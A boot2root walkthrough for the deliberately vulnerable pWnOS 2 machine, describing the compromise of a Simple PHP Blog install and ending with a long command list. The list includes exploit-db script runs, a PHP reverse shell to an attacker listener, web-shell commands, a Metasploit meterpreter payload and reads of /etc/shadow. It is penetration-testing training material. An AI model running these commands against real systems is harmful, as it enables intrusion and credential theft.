[Video] pWnOS 2 (PHP Web Application)

Links

Watch video on-line: http://blip.tv/g0tmi1k/pwnos-2-php-6359801

Download video: http://www.mediafire.com/?f1xdu5if3ftsi7h

Overview

This is the second release in the "pWnOS" vulnerable machine collection, however, it has a different creator from the previous one (which explains why it has a different "feel" to it). As always with "boot2root" machines, it has purposely built "issues" allowing for the machine to become compromised, with the end goal being to become the super user, "root". This method uses a vulnerability in a PHP web application (see here for exploiting via SQL injection).

Method

• Scanned the network to discover the target [Net Discover]
• Port scanned the target to determine the running services on the target [Unicorn Scan]
• Emulated the services by grabbing the banner/header of the running service(s) [NMap]
• Discovered a hidden web application [DirB]
• Located a public exploit for the out dated web application [Exploit-DB]
• Created an additional user that uploaded a PHP shell onto the target to gain remote command access into the system [Pentest Monkey PHP Shell]
• Automated the same attack [Metasploit]
• Located hard coded plain text credentials, which had been re-used, allowing for complete system access 

Tools

• pWnOS_v2.0.7z (md5: 1eb0960c0ba29335230ada1df80cd22c)
• A virtual machine (Example:  VMware Player or Virtual Box)
• Net Discover - (Can be found in  BackTrack 5)
• Unicorn Scan - (Can be found in BackTrack 5)
• NMap - (Can be found in BackTrack 5)
• Firefox - (Can be found in BackTrack 5)
• cURL - (Can be found in BackTrack 5)
• Simple PHP Blog <= 0.4.0 Multiple Remote Exploits - (Can be found in BackTrack 5)
• php-reverse-shell - (Can be found in BackTrack 5)
• Netcat - (Can be found in BackTrack 5)
• Metasploit - (Can be found in BackTrack 5)

Walk through

By reading the readme file, "pWnOS_INFO-2_0.txt", the attacker soon learns not only the IP range which the target is using, they also now know the target's network configuration (it's using a static IP address of 10.10.10.100/24). The attacker confirms the given information, by sweeping the network range with "net discover", which only displays a single result that matches the specified IP from the readme file.


As soon as the attacker has updated their IP address to fit inside the target's subnet range, they try to discover what services the target is running. "Unicorn Scan" is able to quickly scan every port, both TCP and UDP, which belongs to the target. This shows that port TCP 22 (SSH) & TCP 80 (HTTP) are open. To verify the result, the attacker repeats port scanning all TCP ports with "nmap". An additional feature of nmap is its inbuilt scripting engine, which can emulate the services during the scan. This produces more relevant information about the target. Nmap confirms the same ports are open and which default port's numbers are used for their default services (for example, SSH service on port TCP 22 and a web server running on TCP 80). As SSH services are normally used to remotely execute commands, and due to their nature they normally require a form of authentication before access to the service is granted. This leaves the attacker to start with the web service.


When the attacker visits the default web application with "Firefox" to graphically render the code, they are presented a form to fill in to which leads to further access to use the web application. After navigating around the site, they only discover three pages: the login form, a place to register in order to be able to login, and a home page. The home page contains an email address, "admin@isints.com". This could mean "admin" is a possible username (which is very common), and the domain the target is connected to.



The attacker then starts to brute force various possible folders & filenames for common paths relating to web services by using "dirb". This displays three "interesting" results, "/includes", "/info", and "/blog". "/includes" contains pages relating to the source code, which are repeated throughout the web application (for example, the header and footer). When they looked at the code, the attacker is able to see the PHP code as the file extensions is ".html" and the web server isn't configured to process this file extension as server side code. "/info" is a page to show the output of "phpinfo()".
(Editor's note: This file contains lots of useful information which would benefit the attacker as they would be able to understand the configuration of PHP on the system. However, I chose not to use this as a source of information, as this wasn't part of the vulnerable web application.)

After the attacker visits the URI of "/blog", they discover it has a hidden web application, which is meant for internal use for the company, "isints". By clicking around, they try to see if they can locate any private internal data which they can use to their advantage, however, they didn't notice anything. The attacker believes this wasn't a bespoke custom application like before, so they try to identify what application and its version. Upon viewing the home page source code, they discover it is "Simple PHP Blog 0.4".


The attacker re-runs dirb, however uses /blog as the default path, to see if there is any more hidden material located inside the application. This time, the attacker notices an "interesting" folder name, "/config". Using firefox they navigate to the folder and find it contains two files, "config.txt" and "password.txt". They both hold information which relates to their filename and the attacker downloads them both for an offline copy, in case they might be needed later.

The attacker takes their knowledge of the hidden web application and searches a public database of known exploits provided by "exploit-db" (to see if they are able to exploit the target's web application and version, simple php blog v0.4). They find six exploits which match simple php blog and of those results, one result matches the target's version. After checking the exploit code will run, as sometimes there are additional values added at the start of the file that would means the file isn't correctly executed, the attacker runs the exploit code. The code presents a help screen that shows which command line arguments are required, for what function, as the supports multiple exploit.

The attacker starts the exploit code to display the hashes on the system, which they have already acquired. This allows for the attacker to see if they are issuing the commands correctly into the exploit. The response from the exploit shows the hashes match the same value that the attacker discovered when they used dirb.

Next they add another user into the web application with a username and password of their choosing. After the exploit has successfully ran, the attacker logs into the blog by using firefox and the credentials which they set. The attacker has now been granted additional features, of which, one is the ability to upload files. This feature is meant for images only, however, the attacker opts to try and use "Pentest Monkey's PHP reserve shell", and see if it is disallowed (as it's not a valid image). After making a copy of the shell, updating it so it contains the attackers IP address, they then try and upload the shell. The blog forwards them back to the homepage and doesn't give any feedback if the upload was successful or if it failed. When dirb was scanned the /blog/ folder, it displayed the server contained a folder called "/images". As the attacker attempted to upload an image, they navigated to the folder. They discover that the upload appeared to be successful as there is a matching filename and size displayed. The attacker can test to see if the upload really was successful by running the shell. For the shell to correctly work there needs to be a listener waiting on the IP address and port which it was configured with. The attacker used their IP address, so they set up "netcat" locally to listen on TCP port "1234" to match the shell. Now when someone "views" the shell page on the target web server, it causes the PHP code to be executed, creating a connection from the target to the attacker, then afterwards execute a shell program to be interacted with. The result being the attacker has gained an interact shell on the target, allowing them to execute commands remotely.

The attacker goes back to the exploit code and tries to see if that is able to automate gaining a shell as it is one of the payload options. However, it partly fails, but it still creates a new file on the target machine that allows for commands to be executed and displayed. The attacker tests out the automated backdoor, and issues a command to display the current user. The result shows they are able to issue commands on the system, as the web server. 

The attacker goes back to their original shell as it is more interactive. They try to see if they are able to "upgrade" the newer shell, by using netcat. They find that it is installed on the system. However, the version which is installed, "OpenBSD", is not compatible with what they are trying at achieve as it doesn't support the "-e" argument, which allows for a program to be executed once a connection has been established, thus they are unable to upgrade it to an interactive shell using this method. They could however see if Perl, Python or Ruby is installed on the target and see if they could cause an improved shell. The attacker isn't worried about this as they already have an interactive shell via PHP.

(Editor's note: The stage below is optional as they are a repeat of the method above, however, it is included as it automates the attack as well as being more stable.)

The attacker then repeats exploiting the target, using the same vulnerability, however this time uses "metasploit" as it is able to automate various aspects of the exploitation stage. After starting up a metasploit console, they search to see if the exploit has been ported and included within the framework. Whereas exploit-db returned six exploits for simple php blog, metasploit only has one. However, this matches the same exploit as before (as it uses the same vulnerabilities). After setting up the environment for the exploit to be executed in (target's IP, path of the blog on the web server, payload to use, attacker's IP address & port), the attacker commands metasploit to trigger the exploit. After waiting for the exploit to complete (Editor's note: took about 30 seconds), the attacker now has a meterpeter shell on the target's machine. They then execute a few basic in-built commands (system information, current user and running processors) to meterpeter that starts emulating the target's operating system.

The attacker places the current session into the background, as they wish to keep exploring metasploit features and modules. They then list all the current inbuilt exploits which when used locally can gain privileges, however, the ones currently in-built to metasploit the target isn't vulnerable to. Next they search post exploitable modules, which are designed to be executed once the attacker has a remote shell on the box. They start off looking at modules designed for just Linux systems, then modules which are able to be executed across different platforms. The attacker chooses to try out "system_sessions", which has a similar effect to what they were trying to manually do with netcat, causing another remote interactive shell. After checking to make sure all the options match the attacker's requirements, they make a listener, ready to catch the connection. Then they run the module. The result, the attacker now has three interactive shells on the system (as well as another method to execute commands), all using the same vulnerability.

The attacker goes back to the meterpeter shell on the target, and starts collecting information that might be useful and may aid them in discovering a method to escape privileges. To start with, they discover basic information relating to the operating system, such as: which user they are currently using (along with the user's group value), various information relating to the kernel (name, hostname, release, version, hardware name, processor type, hardware platform and operating system) and hostnames. Next they identify what operating system the target is using and its version. Afterwards they move onto what's currently happening on the target regarding current network connections and running processors. After that, they start to explore the target's file system and soon learn the current path they are in, what files exist in the web root folder and what files are in "/var" ("Normally" it's used for files which are "meant" to be changed when the operating system is generally running).

Upon searching the filenames located on the target, the attacker saw an "interesting" filename, that was duplicated in the web folder and /var folders. They view the contents of the file; finding the file is used by the web server to interact with the database as the file has hard coded clear text credentials in it. However, the password values differ between the files. 

From the port scan at the beginning and when they emulate the target (by its network activity and running processors), the attacker knows there is a SSH service running which allows for remote access into the system. By viewing the configuration of the SSH service they discover that "root" login is enabled. The username "root" matches the username inside the database files, so the attacker tries to SSH into the box using root as the username. They then match up the rest of the credentials from the database configuration with the password. The web root folder password fails, however, the password from /var, allows them to gain access into the system as the super user, root. 

Game Over

Commands

netdiscover -r 10.10.10.0/24
ifconfig eth0
!! 10.10.10.43/24
ip=10.10.10.100 # target's IP
us -mT -Iv $ip:a -r 3000 -R 3 && us -mU -Iv $ip:a -r 3000 -R 3
nmap -p 1-65535 -T4 -A -v $ip
firefox $ip 
cd /pentest/web/dirb/
./dirb http://$ip
# /blog # Hidden!
# /includes # PHP tags
# /info # phpinfo()
# admin@isints.com # username? Domain?
firefox $ip/blog/
./dirb $ip/blog/
firefox $ip/blog/config #lynx10.10.10.100/blog/config/   #curl --silent $ip/blog/config/ | grep td | awk -F "href" '{print $2}'
cd ~
wget $ip/blog/config/{config,password}.txt
cd /pentest/exploits/exploitdb
curl --silent $ip/blog/ | grep -i "simple php blog" #| head -n 1 #| grep -i "powered by"
grep -i "simple php blog" files.csv #| uniq
#head platforms/php/webapps/1191.pl
perl platforms/php/webapps/1191.pl
#perl platforms/php/webapps/1191.pl -h http://$ip/blog/ -e 4 -F ./index.php
#firefox http://10.10.10.100/blog/
perl platforms/php/webapps/1191.pl -h http://$ip/blog/ -e 2
#cd /pentest/passwords/john/
perl platforms/php/webapps/1191.pl -h http://$ip/blog/ -e 3 -U admin -P password
firefox http://$ip/blog/login.php # admin:password
cd /pentest/backdoors/web/webshells/php/
ll
cp php-reverse-shell.php /tmp/evil.php
cd /tmp/
vi evil.php # ip address to 10.10.10.43
nc -lvvp 1234

# firefox -> Upload Image -> File: /tmp/evil.php
curl http://$ip/blog/images/evil.php
perl platforms/php/webapps/1191.pl -h http://$ip/blog/ -e 1
curl http://$ip/blog/images/
curl http://$ip/blog/images/cmd.php
curl http://$ip/blog/images/cmd.php?cmd=id
curl http://$ip/blog/images/cmd.php?cmd=whereis%20nc   # Both are OpenBSD, no -e support
curl http://$ip/blog/images/cmd.php?cmd=file%20nc
curl http://$ip/blog/images/cmd.php?cmd=file%20/etc/alternatives/nc

msfcsonole
search Simple PHP Blog
info exploit/unix/webapp/sphpblog_file_upload
use exploit/unix/webapp/sphpblog_file_upload
show options
set RHOST 10.10.10.100
set URI /blog/
show payloads
set PAYLOAD php/meterpreter_reverse_tcp
set -g LHOST 10.10.10.43
set LPORT 4321
show options
exploit # Takes a while for shell to show
sysinfo
getuid
ps
#getpid
shell
/bin/sh -i
whoami
background
set -g session 1
search exploit/linux/local/
serach post/linux
serach post/multi
info post/multi/manage/system_session
use post/multi/manage/system_session
show options

nc -lvp 4433
#cd /pentest/backdoors/web/webhandler
#./webhandler.py --listen 4433

exploit

id

sessions -l
sessions -i 1
channel -l 
channel -i 0
id
uname -a
hostname
cat /etc/hosts
cat /etc/*-release
ps aux
netstat -antupx
cat /etc/passwd
pwd
cd /var/
ls -lah
ls -lah www/
grep -inr password ./ # find ./ -name mysqli_connect.php -exec cat {} ;/
cat /var/www/mysqli_connect.php
cat /var/mysqli_connect.php
cat /etc/ssh/sshd_config
exit
ssh root@10.10.10.100 #root@ISIntS
id; uname -a; ifconfig -a; cat /etc/shadow; ls -lahR ~/

Notes

• Camtasia Studio has few issues, for example; when rendering highlight boxes, they are produced unevenly as well as inserting a few black frames in random places. There is nothing I can do about this for the moment and I will re-render it at a later date when there has been an update.
• The readme file, says this is a "pre-release" (which came out in 2011-07-04).
• The log files (*_history, /var/log/apache2/*, etc) haven't been wiped from the VM before releasing.
• "Interesting" value in the VM's CD path.

Songs: Ferry Corsten - Punk (Arty Rock-n-Rolla Mix) & Ferry Corsten vs Armin van Buuren - Brute (Original Extended Mix)

Video length: 11:43

Capture length: 48:57

Blog Post: http://g0tmi1k.blogspot.co.uk/2012/09/video-pwnos-2-php-web-application.html

Forum Post: *Coming Soon*